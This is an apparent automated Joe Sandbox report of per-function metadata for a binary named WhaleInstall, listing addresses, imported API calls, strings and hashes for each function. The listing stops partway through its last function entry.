Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 0a17050c64092500ecb852abe59fdcff6b95f50275287c21e1e28a974b154ae7
Instruction ID: 0313c6455f51221a60eebc709a9f3961fc72c83b60778d13c0970ca7b5a3325a
Opcode Fuzzy Hash: 0a17050c64092500ecb852abe59fdcff6b95f50275287c21e1e28a974b154ae7
Instruction Fuzzy Hash: AD210423E7D54749FBA472644250F39E1814F59748F9B4832CD3D833D1EF9EA891CA29

Function 00007FF772AE9490 Relevance: 4.9, APIs: 1, Strings: 2, Instructions: 432stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF772B0D9F0: memcpy.MSVCRT ref: 00007FF772B0DA81
Part of subcall function 00007FF772B0D9F0: memcpy.MSVCRT ref: 00007FF772B0DAA3

strlen.MSVCRT ref: 00007FF772AE9540

Strings

basic_ios::clear, xrefs: 00007FF772AE949A
basic_string::append, xrefs: 00007FF772AE9A95, 00007FF772AE9AE9, 00007FF772AE9B09

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_ios::clear$basic_string::append
API String ID: 2619041689-2210610652
Opcode ID: 95c1be2d47a3a5aa2778ca3ac483bd30a1d3c8f3c6ffe0ce7addf7089f0452e1
Instruction ID: e47eb070744e8d3882a8a0b9878041a32c2e823c7e2fd1863091dd51cf2d7da4
Opcode Fuzzy Hash: 95c1be2d47a3a5aa2778ca3ac483bd30a1d3c8f3c6ffe0ce7addf7089f0452e1
Instruction Fuzzy Hash: F702C573B38B4291EB24EB16D401A69A361FB84B80FC54132DE6D07BA5DFBCD556CB10

Function 00007FF772AD87D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF772AD8845
memcpy.MSVCRT ref: 00007FF772AD890D

Strings

basic_string::append, xrefs: 00007FF772AD88B0

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: memcpy
String ID: basic_string::append
API String ID: 3510742995-3811946249
Opcode ID: aa185643c9a93cb7c4b9de48021de80b02e11d58683a3e2513d2c557e2457a6d
Instruction ID: 396efe9c6cb67965a2e785228b6301949179e4e1d755866d61c00662e0c3198c
Opcode Fuzzy Hash: aa185643c9a93cb7c4b9de48021de80b02e11d58683a3e2513d2c557e2457a6d
Instruction Fuzzy Hash: 73410567B6595588EB00AF2AC5449BCA361EB94FC4F898031CF2C073A8EF78D492C750

Function 00007FF772A7CDC0 Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF772A7CE6F
IsDebuggerPresent.KERNEL32 ref: 00007FF772A7CE94
RaiseException.KERNEL32 ref: 00007FF772A7CEBA

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: DebuggerExceptionPresentRaisefree
String ID:
API String ID: 462861877-0
Opcode ID: 4e389a34bf44b13821851c0f9c9d2b3285fd23e7d582c6a9a07f42f7ecf36c24
Instruction ID: 225b1bd8a0ba5391917e6bd2cc12681c1727c02013c9581b97def2ea1a4dac50
Opcode Fuzzy Hash: 4e389a34bf44b13821851c0f9c9d2b3285fd23e7d582c6a9a07f42f7ecf36c24
Instruction Fuzzy Hash: 7D319423A3964246FB70BB25A540B79E291AF447A4F850535EE7E467D1DFBCE400CF24

Function 00007FF772A7D3B0 Relevance: 4.6, APIs: 3, Instructions: 59timeCOMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32 ref: 00007FF772A7D3E6
GetSystemTimeAdjustment.KERNEL32 ref: 00007FF772A7D43C
_errno.MSVCRT ref: 00007FF772A7D468

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: AdjustmentFrequencyPerformanceQuerySystemTime_errno
String ID:
API String ID: 931094001-0
Opcode ID: a3539cd7c2f1378ad2560b388a661283b7d210cfb9ae17f22d810536c1ba724f
Instruction ID: df22ee6c46969488808b4ec5ca39c7174e806b9fe1a5b782da01bd1f5901aff9
Opcode Fuzzy Hash: a3539cd7c2f1378ad2560b388a661283b7d210cfb9ae17f22d810536c1ba724f
Instruction Fuzzy Hash: 1821A773A38A4285EB15AF25E840779F7A0FB44B44F859031DA6E877A4EF7CE441CB14

Function 00007FF772A9BAA0 Relevance: 4.2, APIs: 2, Instructions: 1749COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF772A9BBE3

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: wcslen
String ID:
API String ID: 4088430540-0
Opcode ID: 5af5e0dce486d0047f8580bee363d9f76ab0e86a55cde2dce68f5c23349d73be
Instruction ID: fc5a080070338679e346219242515590be241af848575023a8340ec9453ee9bf
Opcode Fuzzy Hash: 5af5e0dce486d0047f8580bee363d9f76ab0e86a55cde2dce68f5c23349d73be
Instruction Fuzzy Hash: 67F2AF37628BD585DB609B26E8407BEB7A1FB94B84F924422DEDD43BA4DF78D440CB10

Function 00007FF772AA8950 Relevance: 3.2, APIs: 2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: ___lc_codepage_func___mb_cur_max_func
String ID:
API String ID: 1180276535-0
Opcode ID: 4b55d853827305d142401749ed37ee353e6d5aa08ac5a24097fe24f2e9720fe4
Instruction ID: 1f25ae772e4f29dca0ea933bf1f4a205bc119820df4eecf9dfb2a4fe37b1955e
Opcode Fuzzy Hash: 4b55d853827305d142401749ed37ee353e6d5aa08ac5a24097fe24f2e9720fe4
Instruction Fuzzy Hash: DF811673B3A64549DBA0AF15A80096AE760BF48BE4F858631EE7D037D4DE7CE441CB50

Function 00007FF772A65E50 Relevance: 2.9, Strings: 2, Instructions: 407COMMON

Download Yara Rule

Strings

std, xrefs: 00007FF772A6613D
string literal, xrefs: 00007FF772A6628D

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID: std$string literal
API String ID: 0-2980153874
Opcode ID: 9b6d12db288f73a3f2c9807e11efc72a4e1ce7feaec782faa950b326c76c81b4
Instruction ID: 247216343c28762fc077b53f779d579295be0624a58e22209b1356137fefd888
Opcode Fuzzy Hash: 9b6d12db288f73a3f2c9807e11efc72a4e1ce7feaec782faa950b326c76c81b4
Instruction Fuzzy Hash: 4CF1C473E3864246EB64AB159440B79A3A1EB41F8CF9A8139DE2C47385DFBCE441CB58

Function 00007FF772A97B30 Relevance: 2.8, APIs: 1, Instructions: 1562COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a2649818827458a5c5134b31d07ad8ca950290bb16d12c8a2aaee58e6f1c7aa
Instruction ID: 1aa278c31d648881f4d665bbd805ede287b867a91ee960bf62d1b71b44d3eaeb
Opcode Fuzzy Hash: 8a2649818827458a5c5134b31d07ad8ca950290bb16d12c8a2aaee58e6f1c7aa
Instruction Fuzzy Hash: 8DE2B073628BC589DB609F26E840BAEB7A4F784B94F914525DEED43B98CF78D440CB10

Function 00007FF772AAD270 Relevance: 2.1, APIs: 1, Instructions: 845COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a2314b0a2493c1a2c93acd2c812bef024bfab1f1e18010689450ad24f390538
Instruction ID: 713b7ded08949369d6bc6e2aed48207de8df13cf85abfd19feba582bed98ca66
Opcode Fuzzy Hash: 1a2314b0a2493c1a2c93acd2c812bef024bfab1f1e18010689450ad24f390538
Instruction Fuzzy Hash: 09827C2362CB8586EBA09A25E04076EB7B1FB85B94F914531DEEE037A4DFBCD444CB50

Function 00007FF772AAE210 Relevance: 2.1, APIs: 1, Instructions: 830COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f73d0e974d1d88819f276e4d6273a57da20cf3ee0d46c65a6c282f404d4153cf
Instruction ID: aaf0ff4b72cf7bf7c93d644e7ce66a308a80c934d9ffc52a797743ae4866ffb7
Opcode Fuzzy Hash: f73d0e974d1d88819f276e4d6273a57da20cf3ee0d46c65a6c282f404d4153cf
Instruction Fuzzy Hash: 9F82C02362CBC186EBA09A25E14076EB7A0FB95B90F514531DFAE03795DFBCD444CB90

Function 00007FF772AA95D0 Relevance: 2.1, APIs: 1, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dccc21cce9cd69468aea8235bc16f6884088d098e70e41dc856cd5e66f241950
Instruction ID: a29deeaa911728114f260140576f6546d2110190649d0c1ece0e91e6cc13497f
Opcode Fuzzy Hash: dccc21cce9cd69468aea8235bc16f6884088d098e70e41dc856cd5e66f241950
Instruction Fuzzy Hash: 6182D22362CB8285EBA09A25E440B6EB7B0FB84B94F514531DFAE03795DFBCD544CB90

Function 00007FF772A9A960 Relevance: 2.1, APIs: 1, Instructions: 828COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF772A9AB71

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: wcslen
String ID:
API String ID: 4088430540-0
Opcode ID: eb7eaaf445145cba5ca9ad643c07e026d8cffed8f653ae253ac4fac180d9f4ba
Instruction ID: ebadec49481e2214a3678654c215c9fa4f74180b8b870d39c84ead2ca3c40f58
Opcode Fuzzy Hash: eb7eaaf445145cba5ca9ad643c07e026d8cffed8f653ae253ac4fac180d9f4ba
Instruction Fuzzy Hash: C4727B27B24B2585EB10DB6AD8406BC77B1F744B88FA14822DE9E17BA8DF78D841C710

Function 00007FF772AAC340 Relevance: 2.1, APIs: 1, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841b0e9ba0853ec5cba757f3ff5239d7d9f7647b49bdf6963ec8516e47018ac7
Instruction ID: 3ffb4478d2a4afa460196107a901f3db27c8eee68b0c467197efc38df64b6102
Opcode Fuzzy Hash: 841b0e9ba0853ec5cba757f3ff5239d7d9f7647b49bdf6963ec8516e47018ac7
Instruction Fuzzy Hash: 8672A22362CB8586E7A09A25E04076EB7B2FB84B94F514531DFAE437A4DFBCD440CB90

Function 00007FF772AAA520 Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2959550a2c8479c987fd8922afdbd0dc348745d06cf6e1c1506e0eab6c7aa00b
Instruction ID: 0b45d9234b17daad2ed4b8c0e047ae834b51275471705d23ad59e8614bd7393d
Opcode Fuzzy Hash: 2959550a2c8479c987fd8922afdbd0dc348745d06cf6e1c1506e0eab6c7aa00b
Instruction Fuzzy Hash: 1982BF2362CB8186EBA09A25E04072EBBB0FB95B94F514531DFAE03795DFBDD444CB90

Function 00007FF772AAB430 Relevance: 2.1, APIs: 1, Instructions: 802COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 401c5f210e1ceffdaff7fbafe578cde4733add22a9d4d41720169d65b42d5059
Instruction ID: 50ab2d2c9c2afa93d0c26a5d9d4cb559dd5508ae8f00933813462670e49ac03f
Opcode Fuzzy Hash: 401c5f210e1ceffdaff7fbafe578cde4733add22a9d4d41720169d65b42d5059
Instruction Fuzzy Hash: CE72A22362CB8586E7A09A25E04076EBBB1FB95B94F514931DFAE03794DFBCD440CB90

Function 00007FF772A946A0 Relevance: 2.0, APIs: 1, Instructions: 789stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF772A94893

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 46c6d56f36ef94a793f74b3dfcdffdea8d77b87cb7145965000eba98e34557cd
Instruction ID: 5f4e5c6126330b1410187082c73ce6bcfe824112f38b3914ab08b7bdc0294c71
Opcode Fuzzy Hash: 46c6d56f36ef94a793f74b3dfcdffdea8d77b87cb7145965000eba98e34557cd
